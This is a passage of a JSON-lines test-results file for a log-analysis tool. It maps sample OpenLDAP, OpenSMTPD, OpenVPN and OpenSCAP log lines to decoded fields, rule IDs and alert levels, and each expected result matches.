"parent": "openldap", "fields": {"accumulate": "1", "dstip": "10.10.241.77", "dstuser": "example", "id": "999999", "srcip": "10.10.248.27"}, "field_names": ["accumulate", "dstip", "dstuser", "id", "srcip"], "rule": "2508", "level": "3", "expected_decoder": "openldap", "expected_rule": "2508", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: connection open"} +{"log": "Oct 2 19:51:22 example slapd[30864]: conn=1068 fd=19 ACCEPT from IP=192.168.0.2:59800 (IP=0.0.0.0:636)", "decoder": "openldap", "parent": "openldap", "fields": {"accumulate": "1", "dstip": "0.0.0.0", "id": "1068", "srcip": "192.168.0.2"}, "field_names": ["accumulate", "dstip", "id", "srcip"], "rule": "2508", "level": "3", "expected_decoder": "openldap", "expected_rule": "2508", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: connection open"} +{"log": "Feb 11 20:12:27 ldap slapd[13129]: conn=15098 fd=23 ACCEPT from IP=[fda2:3ab6:adf4:aa2a::0]:45242 (IP=[::]:389)", "decoder": "openldap", "parent": "openldap", "fields": {"accumulate": "1", "dstip": "::", "id": "15098", "srcip": "fda2:3ab6:adf4:aa2a::0"}, "field_names": ["accumulate", "dstip", "id", "srcip"], "rule": "2508", "level": "3", "expected_decoder": "openldap", "expected_rule": "2508", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: connection open"} +{"log": "Aug 14 10:15:25 junction.example.com smtpd[28882]: smtp-in: Failed command on session 1f55bdcdf16e28a3: \"MAIL FROM: \" => 421 4.3.0: Temporary Error", "decoder": "smtpd", "parent": "smtpd", "fields": {"action": "421", "status": "Failed"}, "field_names": ["action", "status"], "rule": "53501", "level": "3", "expected_decoder": "smtpd", "expected_rule": "53501", "rule_matches_expected": true, "ini_file": "opensmtpd.ini", "section": "message failed"} +{"log": "Aug 17 01:26:02 ix smtpd[22704]: smtp-in: New session 08d856b172f69c5c from host ix.example.com [local]", "decoder": "smtpd", "parent": "smtpd", "fields": {"status": "New"}, "field_names": ["status"], "rule": "53502", "level": "0", "expected_decoder": "smtpd", "expected_rule": "53502", "rule_matches_expected": true, "ini_file": "opensmtpd.ini", "section": "new session"} +{"log": "Aug 17 01:26:02 ix smtpd[22704]: smtp-in: Accepted message 4296f490 on session 08d856b172f69c5c: from=, to=, size=1746, ndest=1, proto=ESMTP", "decoder": "smtpd", "parent": "smtpd", "fields": {"status": "Accepted"}, "field_names": ["status"], "rule": "53504", "level": "0", "expected_decoder": "smtpd", "expected_rule": "53504", "rule_matches_expected": true, "ini_file": "opensmtpd.ini", "section": "message accepted"} +{"log": "Aug 17 01:26:02 ix smtpd[22704]: smtp-in: Closing session 08d856b172f69c5c", "decoder": "smtpd", "parent": "smtpd", "fields": {"status": "Closing"}, "field_names": ["status"], "rule": "53503", "level": "0", "expected_decoder": "smtpd", "expected_rule": "53503", "rule_matches_expected": true, "ini_file": "opensmtpd.ini", "section": "session closed"} +{"log": "Mar 4 00:11:00 ix smtpd[22421]: smtp-in: Received disconnect from session 427e7493ebe154ae", "decoder": "smtpd", "parent": "smtpd", "fields": {"status": "Received"}, "field_names": ["status"], "rule": "53500", "level": "0", "expected_decoder": "smtpd", "expected_rule": "53500", "rule_matches_expected": true, "ini_file": "opensmtpd.ini", "section": "disconnect"} +{"log": "Mar 4 00:13:55 ix smtpd[22421]: smtp-in: Disconnecting session 427e7497e03518ef: IO error: No SSL error", "decoder": "smtpd", "parent": "smtpd", "fields": {"status": "Disconnecting"}, "field_names": ["status"], "rule": "53507", "level": "2", "expected_decoder": "smtpd", "expected_rule": "53507", "rule_matches_expected": true, "ini_file": "opensmtpd.ini", "section": "no ssl"} +{"log": "Mar 4 00:13:55 ix smtpd[22421]: smtp-in: Started TLS on session 427e749c2e46f809: version=TLSv1.2, cipher=EDH-RSA-DES-CBC3-SHA, bits=112", "decoder": "smtpd", "parent": "smtpd", "fields": {"status": "Started"}, "field_names": ["status"], "rule": "53500", "level": "0", "expected_decoder": "smtpd", "expected_rule": "53500", "rule_matches_expected": true, "ini_file": "opensmtpd.ini", "section": "started tls"} +{"log": "Jan 28 14:25:49 VPN-SERVER-05892 openvpn: LDAP bind failed: Invalid credentials (80090308: LdapErr: DSID-55555555, comment: AcceptSecurityContext error, data 775, v3839)", "decoder": "openvpn", "parent": "openvpn", "fields": {"ldap_data.code": "80090308", "ldap_data.comment": "AcceptSecurityContext error", "ldap_data.error_message": "Invalid credentials", "ldap_data.ldaperr": "DSID-55555555"}, "field_names": ["ldap_data.code", "ldap_data.comment", "ldap_data.error_message", "ldap_data.ldaperr"], "rule": "81805", "level": "5", "expected_decoder": "openvpn", "expected_rule": "81805", "rule_matches_expected": true, "ini_file": "openvpn_ldap.ini", "section": "openvpn: LDAP Bind Failed"} +{"log": "Jan 28 14:25:49 VPN-SERVER-05892 openvpn: Incorrect password supplied for LDAP DN \"CN=Harry T. Hacker,OU=business unit,OU=department,DC=domain,DC=com\"", "decoder": "openvpn", "parent": "openvpn", "fields": {"ldap_data.Department": "business unit", "ldap_data.SecurityGroup": "OU=department,DC=domain,DC=com", "ldap_data.Username": "Harry T. Hacker"}, "field_names": ["ldap_data.Department", "ldap_data.SecurityGroup", "ldap_data.Username"], "rule": "81806", "level": "5", "expected_decoder": "openvpn", "expected_rule": "81806", "rule_matches_expected": true, "ini_file": "openvpn_ldap.ini", "section": "openvpn: LDAP Logon Failure"} +{"log": "Apr 12 10:50:32 centos oscap: Evaluation started. Content: /usr/share/xml/scap/ssg/content/ssg-centos7-ds.xml, Profile: xccdf_org.ssgproject.content_profile_standard.", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.content": "/usr/share/xml/scap/ssg/content/ssg-centos7-ds.xml", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_standard"}, "field_names": ["oscap.scan.content", "oscap.scan.profile.id"], "rule": "81401", "level": "0", "expected_decoder": "oscap", "expected_rule": "81401", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP: Evaluation started."} +{"log": "Apr 12 10:50:42 centos oscap: Evaluation finished. Return code: 0, Base score 100.000000.", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.return_code": "0", "oscap.scan.score": "100"}, "field_names": ["oscap.scan.return_code", "oscap.scan.score"], "rule": "81402", "level": "0", "expected_decoder": "oscap", "expected_rule": "81402", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP: Evaluation finished."} +{"log": "Apr 12 10:50:42 centos oscap: Evaluation finished. Return code: 2, Base score 100.000000.", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.return_code": "2", "oscap.scan.score": "100"}, "field_names": ["oscap.scan.return_code", "oscap.scan.score"], "rule": "81403", "level": "0", "expected_decoder": "oscap", "expected_rule": "81403", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP: Evaluation finished with some failures."} +{"log": "oscap: ERROR: OpenSCAP not installed. Details: [Errno 2] No such file or directory", "decoder": "oscap", "parent": "", "fields": {}, "field_names": [], "rule": "81502", "level": "7", "expected_decoder": "oscap", "expected_rule": "81502", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP ERROR: OpenSCAP not installed"} +{"log": "oscap: ERROR: Impossible to execute OpenSCAP...", "decoder": "oscap", "parent": "", "fields": {}, "field_names": [], "rule": "81503", "level": "7", "expected_decoder": "oscap", "expected_rule": "81503", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP ERROR: Impossible to execute OpenSCAP."} +{"log": "oscap: ERROR: File \"checklists/ssg-centos7dfa-axccdf.xml\" does not exist.", "decoder": "oscap", "parent": "", "fields": {}, "field_names": [], "rule": "81504", "level": "7", "expected_decoder": "oscap", "expected_rule": "81504", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP ERROR: Wrong configuration - Inexistent policy."} +{"log": "oscap: ERROR: Parsing file \"a.xml\". Details: \"a.xml:1: parser error : Start tag expected, '<' not found\".", "decoder": "oscap", "parent": "", "fields": {}, "field_names": [], "rule": "81505", "level": "7", "expected_decoder": "oscap", "expected_rule": "81505", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP ERROR: Wrong configuration - Invalid policy."} +{"log": "oscap: ERROR: Executing profile \"standard\" of file \"checklists/ssg-centos7-xccdf.xml\": Return Code: \"101\" Error: \"No such module: eva\".", "decoder": "oscap", "parent": "", "fields": {}, "field_names": [], "rule": "81506", "level": "7", "expected_decoder": "oscap", "expected_rule": "81506", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP ERROR: Problem executing oscap."} +{"log": "oscap: ERROR: Profile \"kk\" does not exist at \"checklists/ssg-centos7-xccdf.xml\".", "decoder": "oscap", "parent": "", "fields": {}, "field_names": [], "rule": "81507", "level": "7", "expected_decoder": "oscap", "expected_rule": "81507", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP ERROR: Wrong configuration - Inexistent profile."} +{"log": "oscap: ERROR: Timeout expired.", "decoder": "oscap", "parent": "", "fields": {}, "field_names": [], "rule": "81508", "level": "7", "expected_decoder": "oscap", "expected_rule": "81508", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP ERROR: Timeout expired"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"pass\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "pass", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81521", "level": "0", "expected_decoder": "oscap", "expected_rule": "81521", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule pass"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"notchecked\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "notchecked", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81522", "level": "0", "expected_decoder": "oscap", "expected_rule": "81522", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule notchecked"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"fixed\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "fixed", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81524", "level": "0", "expected_decoder": "oscap", "expected_rule": "81524", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule fixed"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"informational\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "informational", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81525", "level": "1", "expected_decoder": "oscap", "expected_rule": "81525", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule informational"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"error\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "error", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81526", "level": "3", "expected_decoder": "oscap", "expected_rule": "81526", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule error"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"unknown\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "unknown", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81527", "level": "3", "expected_decoder": "oscap", "expected_rule": "81527", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule unknown"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"notselected\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "notselected", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81528", "level": "0", "expected_decoder": "oscap", "expected_rule": "81528", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule notselected"} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"fail\", severity: \"low\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "fail", "oscap.check.severity": "low", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": 